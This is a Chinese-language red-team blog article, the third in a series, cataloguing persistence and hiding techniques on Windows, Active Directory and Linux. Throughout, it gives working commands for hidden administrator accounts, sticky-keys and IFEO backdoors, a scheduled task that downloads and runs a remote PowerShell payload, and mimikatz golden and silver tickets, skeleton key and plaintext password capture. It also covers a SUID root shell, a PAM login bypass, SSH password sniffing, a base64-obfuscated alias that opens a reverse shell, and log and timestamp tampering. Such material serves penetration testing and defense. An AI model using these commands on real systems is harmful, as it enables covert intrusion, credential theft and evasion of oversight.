连载|浅谈红队中的权限维持(三)
文章首发于:
火线Zone社区(https://zone.huoxian.cn/)
前言
续接上文浅谈红队中的打点(连载第二篇)
不过因为一些权限维持的方法需要管理员权限才行,所有这时又需要先提权才能做权限维持;有时如果想做域控权限维持又需要先进行横向移动。
所以实战中并不会像上面的图一样一步一步的来,这个是要根据实际情况去具体分析的。
在本文中,将从Windows 主机后门、Windows 文件隐藏、域后门、Linux 后门、Linux 文件隐藏这五个方面去看红队中的权限维持。
0x01 Windows 主机后门
1、隐藏账号
这个是比较常见的创建后门的方法,直接建立一个隐藏账号
net user teamssix$ Passw0rd /add
net localgroup administrators teamssix$ /add
虽然使用 net user 是看不到这个账号的,但是在控制面板里可以看到,因此这种隐藏效果并不是很好。
想要更好的隐藏效果,可以通过注册表克隆用户实现,只是操作起来比较繁琐,所以我这边写了一个利用注册表创建隐藏用户的小工具。
工具地址:
https://github.com/wgpsec/CreateHiddenAccount
直接使用以下命令,就可以轻松的创建一个隐藏用户。
CreateHiddenAccount.exe -u teamssix -p Passw0rd
创建完后,通过 net user 和控制面板等等都是看不到这个账号的。
也可以拿来检查当前系统的隐藏账号
CreateHiddenAccount.exe -c
删除用户也很方便
CreateHiddenAccount.exe -d teamssix
2、计划任务
计划任务也是比较常见的权限维持方法,计划任务在 Win7 之前使用 at 命令,之后的系统中使用 schtasks 命令。
例如每小时执行一次 calc.exe
schtasks /create /tn updater /tr calc.exe /sc hourly /mo 1
当系统空闲时,执行 CS 上线 PowerShell 脚本
schtasks /create /tn WindowsUpdate /tr "powershell.exe -nop -w hidden -c 'IEX ((new-object net.webclient).downloadstring('''http://172.16.214.1:80/a'''))'" /sc onidle /i 1
除了使用系统自带命令外,还可以使用 PowerSploit 渗透测试框架里的 Persistence 模块自动创建计划任务后门。
3、shift 后门
这个也算是比较知名的后门方法了,直接使用 copy 命令即可
copy C:\Windows\System32\cmd.exe C:\Windows\System32\sethc.exe /y
如果提示访问被拒绝,可以在管理员权限下,加上 everyone 的权限再试试。
cacls C:\Windows\System32\sethc.exe /T /E /G everyone:F
然后在登录界面按 5 下 shift 键就能打开 cmd 窗口了。
使用注册表也可以。
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v Debugger /t REG_SZ /d "C:\windows\system32\cmd.exe"
除了 按 5 下 shift 打开粘滞键的功能外,同样的道理,还可以使用辅助工具、放大镜、屏幕键盘等等。
辅助工具 utilman.exe
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe" /t REG_SZ /v Debugger /d "C:\windows\system32\cmd.exe" /f
屏幕键盘 osk.exe
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\osk.exe" /t REG_SZ /v Debugger /d "C:\windows\system32\cmd.exe" /f
放大镜 Magnify.exe
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Magnify.exe" /t REG_SZ /v Debugger /d "C:\windows\system32\cmd.exe" /f
4、组策略
新建一个 bat 文件,这里 bat 内容为 calc
使用 gpedit.msc 进入本地组策略,来到用户配置--》Windows设置--》脚本登录,点击浏览选择 bat 文件,当用户登录时就会触发这个 bat 文件。
5、注册表
在系统启动的注册表下添加恶意程序,这样当用户登录系统时,exe 就会被运行,或者将 exe 直接放到系统启动的文件夹里也是一样的道理。
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "Vmware Regg" /t REG_SZ /d "C:\Windows\System32\calc.exe" /f
6、服务自启动
直接使用命令创建服务
sc create teamssix start=auto binPath="cmd.exe /k ping -n 1 test.xxx.ceye.io" obj=Localsystem
启动该服务
net start teamssix
虽然报错了,但其实是被执行的
只不过这种创建服务的方法隐藏性太弱,直接在服务里就能看到。
可以在创建完服务后,使用以下命令将创建的服务隐藏,这样不论是在服务中,还是使用命令都查不到这个服务。
sc.exe sdset teamssix "D:(D;;DCLCWPDTSDCC;;;IU)(D;;DCLCWPDTSDCC;;;SU)(D;;DCLCWPDTSDCC;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)"
使用以下命令就能恢复。
& $env:SystemRoot\System32\sc.exe sdset teamssix "D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)"
7、nishang 后门
nishang 是一个 PowerShell 项目,里面集成了众多工具,其中包含有制作后门的工具,nishang 项目下载地址:
https://github.com/samratashok/nishang
HTTP-Backdoor
cd nishang\Backdoors
Import-Module .\HTTP-Backdoor.ps1
HTTP-Backdoor -CheckURL http://192.168.7.1/1.txt -PayloadURL http://192.168.7.1/calc.ps1 -MagicString start -StopString stop
命令解释如下:
CheckURL 如果检测地址存在,再执行 Payload 里的脚本
PayloadURL 需要下载的 PowerShell 脚本地址
StopString 判断存在 -CheckURL 返回的字符串,则停止执行
MagicString 判断存在 -CheckURL 返回的字符串,则开始执行
这个脚本感觉是挺有意思的,该脚本会不断读取 CheckURL 的内容,这里设置的 MagicString 为 start,那么当 http://192.168.7.1/1.txt 内容为 start 的时候,就会执行 http://192.168.7.1/calc.ps1 脚本。
Add-ScrnSaveBackdoor
Add-ScrnSaveBackdoor 脚本可以帮助攻击者利用 Windows 的屏幕保护程序来安装一个隐藏的后门,该脚本需要管理员权限。
Import-Module .\Add-ScrnSaveBackdoor.ps1
Add-ScrnSaveBackdoor -Payload "Powershell.exe calc"
当屏幕保护程序启动时,就会运行 Payload 里的内容。
除了上面的两个脚本外,还有 Execute-OnTime 和 Invoke-ADSBackdoor。
其中 Execute-OnTime 和 HTTP-Backdoor 脚本的使用方法相似,不过增加了定时启动脚本的功能。
Windows 下的制作后门方法当然不止上面这些,还有其他的比如进程注入、dll 劫持等等。
0x02 Windows 文件隐藏
1、文件属性
直接右击选择隐藏即可
如果想显示文件,就在文件夹选择中选择「显示隐藏的文件、文件夹和驱动器」就行了。
也可以使用 attrib +s +a +h +r 命令
不过将下图中的两个选择设置成如图中的样子也就可以看到隐藏的文件了。
2、ADS
ADS是NTFS磁盘格式的一个特性,在NTFS文件系统下,每个文件都可以存在多个数据流,创建一个数据交换流文件的方法很简单,命令为”宿主文件:准备与宿主文件关联的数据流文件”。
echo teamssix > CreateHiddenAccount_v0.2.exe:test.txt
使用 dir 是看不到的,使用 dir /r 才可以
如果想编辑该文件,可以使用 notepad 进行编辑
如果想执行 exe 文件,可以先创建一个快捷方式,再执行。
type evil.exe > CreateHiddenAccount_v0.2.exe:evil.exe
mklink "C:\Users\test\Desktop\evillink.exe" "C:\Users\test\Desktop\CreateHiddenAccount_v0.2.exe:evil.exe" // 需要管理员权限
start evil.exe
另外如果想删除这个隐藏文件,需要删除宿主文件才行。
3、系统文件夹伪装
例如这里有一个 test 文件夹,将 test 命名为 我的电脑.{20D04FE0-3AEA-1069-A2D8-08002B30309D},这时文件夹的图标就会变为「我的电脑」图标。
使用 dir 可以看到里面的文件,但如果点击这个文件夹,就会真的进入到「我的电脑」界面里。
下面是一些其他的常用标识符。
上帝模式.{ED7BA470-8E54-465E-825C-99712043E01C}
CLSIDexcel.{00020810-0000-0000-C000-000000000046}
word.{00020900-0000-0000-C000-000000000046}
media.{00022603-0000-0000-C000-000000000046}
CAB.{0CD7A5C0-9F37-11CE-AE65-08002B2E1262}
计划任务.{148BD520-A2AB-11CE-B11F-00AA00530503}
搜索-计算机{1f4de370-d627-11d1-ba4f-00a0c91eedba}
网上邻居.{208D2C60-3AEA-1069-A2D7-08002B30309D}
我的电脑.{20D04FE0-3AEA-1069-A2D8-08002B30309D}
控制面板.{21EC2020-3AEA-1069-A2DD-08002B30309D}
打印机.{2227A280-3AEA-1069-A2DE-08002B30309D}
html.{25336920-03f9-11cf-8fd0-00aa00686f13}
mht.{3050F3D9-98B5-11CF-BB82-00AA00BDCE0B}
mshta.{3050f4d8-98B5-11CF-BB82-00AA00BDCE0B}
我的文档.{450D8FBA-AD25-11D0-98A8-0800361B1103}
XML.{48123bc4-99d9-11d1-a6b3-00c04fd91555}
回收站(满).{5ef4af3a-f726-11d0-b8a2-00c04fc309a4}
回收站.{645FF040-5081-101B-9F08-00AA002F954E}
ftp_folder.{63da6ec0-2e98-11cf-8d82-444553540000}
网络和拨号连接.{7007ACC7-3202-11D1-AAD2-00805FC1270E}
写字板文档.{73FDDC80-AEA9-101A-98A7-00AA00374959}
Temporary Offline Files Cleaner.{750fdf0f-2a26-11d1-a3ea-080036587f03}
用户和密码.{7A9D77BD-5403-11d2-8785-2E0420524153}
Internet 临时文件.{7BD29E00-76C1-11CF-9DD0-00A0C9034933}
已下载的程序文件的清除程序.{8369AB20-56C9-11D0-94E8-00AA0059CE02}
公文包.{85BBD920-42A0-1069-A2E4-08002B30309D}
ActiveX 高速缓存文件夹.{88C6C381-2E85-11D0-94DE-444553540000}
mail.{9E56BE60-C50F-11CF-9A2C-00A0C90A90CE}
历史记录.{FF393560-C2A7-11CF-BFF4-444553540000}
目录.{fe1290f0-cfbd-11cf-a330-00aa00c16e65}
Internet Explorer.{FBF23B42-E3F0-101B-8488-00AA003E56F8}
Snapshot File.{FACB5ED2-7F99-11D0-ADE2-00A0C90DC8D9}
预订文件夹.{F5175861-2688-11d0-9C5E-00AA00A45957}
MyDocs Drop Target.{ECF03A32-103D-11d2-854D-006008059367}
Policy Package.{ecabaebd-7f19-11d2-978E-0000f8757e2a}
搜索结果.{e17d4fc0-5564-11d1-83f2-00a0c90dc849}
添加网上邻居.{D4480A50-BA28-11d1-8E75-00C04FA31A86}
Paint.{D3E34B21-9D75-101A-8C3D-00AA001A1652}
管理工具.{D20EA4E1-3957-11d2-A40B-0C5020524153}
字体.{D20EA4E1-3957-11d2-A40B-0C5020524152}
Web Folders.{BDEADF00-C265-11d0-BCED-00A0C90AB50F}
DocFind Command.{B005E690-678D-11d1-B758-00A0C90564FE}
脱机文件夹.{AFDB1F70-2A4C-11d2-9039-00C04F8EEB3E}
打印机.{2227A280-3AEA-1069-A2DE-08002B30309D}
其他还有畸形文件夹、保留文件名无法删除和利用 Easy File Locker 实现驱动级文件隐藏等等,或者直接起一个看起来名称很像的文件,比如 Index.php 和 lndex.php,这里其中一个是大写的 i,一个是小写的 L。
0x03 域后门
1、黄金票据
通过黄金票据可以实现域内任意用户的伪造,因此即使目标域管的密码被修改了,通过黄金票据还是能够获取到对方的权限。
在生成黄金票据前,需要先获取以下信息:
krbtgt 的 NTLM Hash 或 AES-256 值
伪造的域管理员用户名
完整的域名
域 SID
其中 krbtgt 用户是域自带的用户,被 KDC 密钥分发中心服务所使用,属于 Domain Admins 组。
在域环境中,每个用户账号的票据都是由 krbtgt 用户所生成的,因此如果知道了 krbtgt 用户的 NTLM Hash 或者 AES-256 值,就可以伪造域内任意用户的身份了。
使用 mimikatz 在域控上获取 krbtgt 用户的 NTLM HASH
mimikatz.exe "lsadump::dcsync /domain:teamssix.com /user:krbtgt" exit
从图中可以看到 krbtgt 的
NTLM Hash 为 d685b9c4fa2d318a9943ed68948af087
SID 为 S-1-5-21-284927032-1122706408-2778656994
此时已知域名为 teamssix.com,那么这时所需要的信息就全了。
接着来到一台普通域用户权限的主机下,查看 \dc\c$ 发现时拒绝访问的。
制作黄金票据
kerberos::golden /admin:Administrator /domain:teamssix.com /sid:S-1-5-21-284927032-1122706408-2778656994 /krbtgt:d685b9c4fa2d318a9943ed68948af087 /ticket:Administrator.kiribi
使用 mimikatz 进行票据传递
kerberos::ptt Administrator.kiribi
再次查看 \dc\c$ 发现时就有权限了
PsExec 也同样可以
2、白银票据
白银票据和黄金票据的区别如下:
1、白银票据不经过 KDC,因此白银票据日志相对于黄金票据会更少,同时白银票据的日志都在目标服务器上,域控上不会有日志,因此白银票据更加隐蔽。
2、白银票据利用服务账户的哈希值,不同于黄金票据利用 krbtgt 账户的哈希值,所以白银票据的权限就远不如黄金票据的权限了。
想利用白银票据需要先具备以下信息:
域名 域 SID 目标服务器的 FQDN 即完整的域名 可利用的服务 服务账户的 NTLM 哈希 伪造的用户名即任意用户名
这里以伪造 CIFS 服务的权限为例:
CIFS 服务常用于 Windows 主机之间的文件共享,首先使用 mimikatz 获取服务账户的 NTLM 哈希,这里使用的 Username 为 DC$ 的 NTLM 哈希。
.\mimikatz.exe log "privilege::debug" "sekurlsa::logonpasswords" exit
利用获取到的 Hash 生成白银票据。
.\mimikatz.exe "kerberos::golden /user:t /domain:teamssix.com /sid:S-1-5-21-284927032-1122706408-2778656994 /target:dc /rc4:ef9e49a41feaa171f642016fd4cb7e7a /service:cifs /ptt" exit
伪造票据后,使用 dir 命令就能获取到目标的 CIFS 服务权限了,除了 CIFS 服务外,还可以伪造 LDAP 等等服务。
3、SSP 权限维持
通过 SSP 权限维持,用户在登录时,密码将会以明文的形式保存在
C:\Windows\System32\mimilsa.log 下。
使用 mimikatz 将伪造的 SSP 注入内存,但如果域控重启,被注入内存的伪造 SSP 就会丢失。
privilege::debug
misc::memssp
注销当前用户,输入用户名密码后重新登录,就可以获取到明文密码了。
也可以使用 mimikatz 中的 mimilib.dll 文件进行 SSP 权限维持,这种方法重启后也不会失效。
4、SID History 后门
每个用户都有自己的安全标识符即 SID,SID History的作用是在域迁移过程中保持域用户的访问权限,即如果迁移后用户的SID改变了,系统会将其原来的SID添加到迁移后用户的SID History属性中,使迁移后的用户保持原有权限、能够访问其原来可以访问的资源。
这里使用 mimikatz 将管理员的 SID 添加到普通用户的 SID History 中。
privilege::debug
sid::patch
sid::add /sam:test /new:administrator
使用 test 用户登录,可以看到已经拥有了管理员权限。
5、万能密码
在域管权限下,使用 mimikatz 即可。
.\mimikatz.exe "privilege::debug" "misc::skeleton" exit
此时,就可以在域内以任意用户的身份利用 mimikatz 密码进行登录了。
net use \\dc\ipc$ "mimikatz" /user:teamssix\administrator
除了上面的方法外,还可以使用 DSRM 账号进行权限维持,也可以使用 Hook PasswordChangeNotify 脚本查看目标用户修改后的新密码。
0x04 Linux 主机后门
1、添加用户
一句话添加用户
useradd test;echo -e "123456\n123456\n" |passwd test
或者使用 openssl
useradd -p `openssl passwd -1 -salt 'salt' 123456` guest
2、SUID Shell
SUID Shell是一种可用于以拥有者权限运行的shell。
以 root 用户权限执行下面的命令。
cp /bin/bash /tmp/shell
chmod u+s /tmp/shell
在使用普通用户权限的时候,执行以下命令就能获取 root 权限。
/tmp/shell -p
3、软链接
软链接的利用前提是 ssh 配置中开启了 PAM 进行身份验证,使用以下命令查看是否配置 PAM 认证。
cat /etc/ssh/sshd_config | grep UsePAM
在目标主机上执行一句话后门
ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=8888
然后直接 ssh root@IP -p 8888,输入任意密码,就可以登录。
4、strace 后门
执行以下命令
alias ssh='strace -o /tmp/.ssh.log -e read,write,connect -s 2048 ssh'
这时当用户使用 ssh 连接其他主机时,在 /tmp/.ssh.log 下就能看到连接的密码、操作了,只是显示的不是很直观。
这个其实也可以说是 alias 后门,例如下面这条命令。
alias ls='alerts(){ ls $* --color=auto;python3 -c "import base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'\''UTF-8'\'')}[sys.version_info[0]]('\''aW1wb3J0IG9zLHNvY2tldCxzdWJwcm9jZXNzOwpyZXQgPSBvcy5mb3JrKCkKaWYgcmV0ID4gMDoKICAgIGV4aXQoKQplbHNlOgogICAgdHJ5OgogICAgICAgIHMgPSBzb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULCBzb2NrZXQuU09DS19TVFJFQU0pCiAgICAgICAgcy5jb25uZWN0KCgiMTkyLjE2OC4yNDEuMTI4IiwgNjY2NikpCiAgICAgICAgb3MuZHVwMihzLmZpbGVubygpLCAwKQogICAgICAgIG9zLmR1cDIocy5maWxlbm8oKSwgMSkKICAgICAgICBvcy5kdXAyKHMuZmlsZW5vKCksIDIpCiAgICAgICAgcCA9IHN1YnByb2Nlc3MuY2FsbChbIi9iaW4vc2giLCAiLWkiXSkKICAgIGV4Y2VwdCBFeGNlcHRpb24gYXMgZToKICAgICAgICBleGl0KCk='\'')))";};alerts'
上面的 base64 解码后为以下内容:
import os,socket,subprocess;
ret = os.fork()
if ret > 0:
exit()
else:
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.241.128", 6666))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
p = subprocess.call(["/bin/sh", "-i"])
except Exception as e:
exit()
这样当用户使用 ls 命令时,就会反弹 shell 回来了,当然除了反弹 shell 还可以做很多的其他操作。
除此之外,还有比较常见的定时任务、SSH 公钥登录以及 SSH warpper、openssh 后门、PAM 后门、rootkit 后门等等。
0x05 Linux 隐藏文件
1、隐藏文件时间戳
复制其他文件的时间
touch -r teamssix.txt evil.txt
自定义文件的时间,这里表示将时间改为 2022 年的 1 月 1 日 1 时 1 分 1 秒。
touch -t 202201010101.01 evil.txt
2、隐身登录
隐身登录系统,不会被 w、who、last 检测到
ssh -T root@host /bin/bash -i
隐身登录系统,同时不保存公钥在本地的 .ssh 目录中。
ssh -o UserKnownHostsFile=/dev/null -T user@host /bin/bash –i
3、锁定文件
当文件被锁定时,是无法删除的
chattr +i evil.txt 锁定文件
lsattr evil.txt 属性查看
chattr -i evil.txt 解除锁定
rm -rf 1.evil.txt 删除文件
4、隐藏历史操作记录
临时禁用历史命令记录功能。
set +o history
注意在 set 命令前有一个空格
如果想某条命令不记录到 history 中,直接在命令前加上空格就行
或者先 grep 看下要删除的文件行,再 -d 指定行即可删除。
history | grep "key"
history -d 11
除此之外,还有在文件前加上 . 实现隐藏文件以及端口复用、进程隐藏等等方法。
0x06 后记
关于权限维持的东西要比上面的内容还要多得多,一篇文章也很难以覆盖全。
这里我对自己已知的权限维持方法进行了简单的一个梳理,受限于篇幅,文章里省略了不少方法,因此文章开头的思维导图里囊括的方法会更多些,如果你还知道其他的权限维持方法也欢迎在评论区大家一起交流。